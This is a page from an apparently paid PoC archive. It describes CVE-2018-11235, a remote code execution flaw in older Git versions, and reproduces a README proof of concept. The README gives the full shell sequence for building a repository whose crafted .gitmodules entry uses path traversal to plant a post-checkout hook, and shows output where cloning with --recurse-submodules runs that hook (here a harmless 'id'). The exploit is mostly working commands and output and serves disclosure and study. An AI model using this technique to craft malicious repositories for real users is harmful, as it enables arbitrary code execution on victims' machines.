Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2018-11235 PoC — Git 安全漏洞

Source
Associated Vulnerability
Title: Git 安全漏洞 (CVE-2018-11235)
Description:In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.
Description
git {<2.13.7, <2.14.4, <2.15.2, <2.16.4, <2.17.1} remote code execution
Readme
# CVE-2018-11235

Consult the [National Vulnerability Database (CVE-2018-11235)] for further information.

## Proof of Concept
```
$ mkdir /tmp/cve-2018-11235
$ cd /tmp/cve-2018-11235
$ git init module
$ cd module
$ > BLANK 
$ git add BLANK
$ git commit -m "This page intentionally left blank."
$ cd ..
$ git init repository
$ cd repository
$ git submodule add ../module module-corrupt
$ git submodule add ../module
$ cp -r .git/modules modules
$ cat > modules/module-corrupt/hooks/post-checkout
#!/bin/sh
id
$ chmod 755 modules/module-corrupt/hooks/post-checkout
$ cat > .gitmodules
[submodule "module"]
	path = module
	url = ../module
[submodule "../../modules/module-corrupt"]
	update = checkout
	path = module-corrupt
	url = ../module
$ git add .gitmodules modules
$ git commit -m "The End"
$ cd ..
$ git clone --recurse-submodules repository clone
Cloning into 'clone'...
done.
Submodule 'module' (/tmp/cve-2018-11235/module) registered for path 'module'
Submodule '../../modules/module-corrupt' (/tmp/cve-2018-11235/module) registered for path 'module-corrupt'
Cloning into 'module'...
done.
Submodule path 'module': checked out 'd621ae80237256c7906679a4fcb3484636263028'
uid=1000(user) gid=1000(user) groups=1000(user),6(disk),7(lp),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Submodule path 'module-corrupt': checked out 'd621ae80237256c7906679a4fcb3484636263028'
```

[National Vulnerability Database (CVE-2018-11235)]: https://nvd.nist.gov/vuln/detail/CVE-2018-11235
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →